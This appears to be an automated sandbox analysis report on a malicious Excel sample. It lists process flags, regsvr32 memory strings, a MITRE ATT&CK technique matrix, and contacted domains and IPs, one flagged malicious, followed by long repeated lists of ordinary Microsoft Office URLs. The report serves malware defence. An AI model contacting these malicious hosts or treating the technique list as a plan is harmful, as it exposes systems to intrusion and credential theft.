    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: regsvr32.exe, 00000004.00000002.683585965.00000000043A0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
    Source: regsvr32.exe, 00000004.00000002.683585965.00000000043A0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
    Source: regsvr32.exe, 00000004.00000002.683585965.00000000043A0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
    Source: regsvr32.exe, 00000004.00000002.683585965.00000000043A0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
    Source: Yara matchFile source: app.xml, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting2DLL Side-Loading1Process Injection1Regsvr321OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Masquerading1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Disable or Modify Tools1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting2LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.commonDLL Side-Loading1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    No Antivirus matches

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    dreamhimalayan.com0%VirustotalBrowse
    forfacks.com6%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
    https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%VirustotalBrowse
    https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
    https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    dreamhimalayan.com
    192.185.113.120
    truefalseunknown
    forfacks.com
    192.185.48.167
    truetrueunknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://api.diagnosticssdf.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
      high
      https://login.microsoftonline.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
        high
        https://shell.suite.office.com:14432A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
          high
          https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
            high
            https://autodiscover-s.outlook.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
              high
              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                high
                https://cdn.entity.2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://api.addins.omex.office.net/appinfo/query2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                  high
                  https://clients.config.office.net/user/v1.0/tenantassociationkey2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                    high
                    https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                      high
                      https://powerlift.acompli.net2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://rpsticket.partnerservices.getmicrosoftkey.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://lookup.onenote.com/lookup/geolocation/v12A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                        high
                        https://cortana.ai2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                          high
                          https://cloudfiles.onenote.com/upload.aspx2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                            high
                            https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                              high
                              https://entitlement.diagnosticssdf.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                high
                                https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                  high
                                  https://api.aadrm.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://ofcrecsvcapi-int.azurewebsites.net/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                  • 0%, Virustotal, Browse
                                  • Avira URL Cloud: safe
                                  unknown
                                  https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                    high
                                    https://api.microsoftstream.com/api/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                      high
                                      https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                        high
                                        https://cr.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                          high
                                          https://portal.office.com/account/?ref=ClientMeControl2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                            high
                                            https://ecs.office.com/config/v2/Office2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                              high
                                              https://graph.ppe.windows.net2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                high
                                                https://res.getmicrosoftkey.com/api/redemptionevents2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://powerlift-frontdesk.acompli.net2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://tasks.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                  high
                                                  https://officeci.azurewebsites.net/api/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                  • 0%, Virustotal, Browse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://sr.outlook.office.net/ws/speech/recognize/assistant/work2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                    high
                                                    https://store.office.cn/addinstemplate2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://outlook.office.com/autosuggest/api/v1/init?cvid=2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                      high
                                                      https://globaldisco.crm.dynamics.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                        high
                                                        https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                          high
                                                          https://store.officeppe.com/addinstemplate2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://dev0-api.acompli.net/autodetect2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://www.odwebp.svc.ms2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.powerbi.com/v1.0/myorg/groups2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                            high
                                                            https://web.microsoftstream.com/video/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                              high
                                                              https://graph.windows.net2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                high
                                                                https://dataservice.o365filtering.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://officesetup.getmicrosoftkey.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://analysis.windows.net/powerbi/api2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                  high
                                                                  https://prod-global-autodetect.acompli.net/autodetect2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://outlook.office365.com/autodiscover/autodiscover.json2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                    high
                                                                    https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                      high
                                                                      https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                        high
                                                                        https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                          high
                                                                          https://ncus.contentsync.2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                          • URL Reputation: safe
                                                                          • URL Reputation: safe
                                                                          • URL Reputation: safe
                                                                          • URL Reputation: safe
                                                                          unknown
                                                                          https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                            high
                                                                            https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                              high
                                                                              http://weather.service.msn.com/data.aspx2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                high
                                                                                https://apis.live.net/v5.0/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                  high
                                                                                  https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                    high
                                                                                    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                      high
                                                                                      https://management.azure.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                        high
                                                                                        https://wus2.contentsync.2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                        • URL Reputation: safe
                                                                                        • URL Reputation: safe
                                                                                        • URL Reputation: safe
                                                                                        • URL Reputation: safe
                                                                                        unknown
                                                                                        https://incidents.diagnostics.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                          high
                                                                                          https://clients.config.office.net/user/v1.0/ios2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                            high
                                                                                            https://insertmedia.bing.office.net/odc/insertmedia2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                              high
                                                                                              https://o365auditrealtimeingestion.manage.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                high
                                                                                                https://outlook.office365.com/api/v1.0/me/Activities2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                  high
                                                                                                  https://api.office.net2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                    high
                                                                                                    https://incidents.diagnosticssdf.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                      high
                                                                                                      https://asgsmsproxyapi.azurewebsites.net/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                      • 0%, Virustotal, Browse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      unknown
                                                                                                      https://clients.config.office.net/user/v1.0/android/policies2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                        high
                                                                                                        https://entitlement.diagnostics.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                          high
                                                                                                          https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                            high
                                                                                                            https://outlook.office.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                              high
                                                                                                              https://storage.live.com/clientlogs/uploadlocation2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                high
                                                                                                                https://templatelogging.office.com/client/log2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                  high
                                                                                                                  https://outlook.office365.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                    high
                                                                                                                    https://webshell.suite.office.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                      high
                                                                                                                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                        high
                                                                                                                        https://management.azure.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                          high
                                                                                                                          https://login.windows.net/common/oauth2/authorize2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                            high
                                                                                                                            https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            unknown
                                                                                                                            https://graph.windows.net/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                              high
                                                                                                                              https://api.powerbi.com/beta/myorg/imports2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                high
                                                                                                                                https://devnull.onenote.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://ncus.pagecontentsync.2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  unknown
                                                                                                                                  https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://messaging.office.com/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://augloop.office.com/v22A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://skyapi.live.net/Activity/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://clients.config.office.net/user/v1.0/mac2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                              high
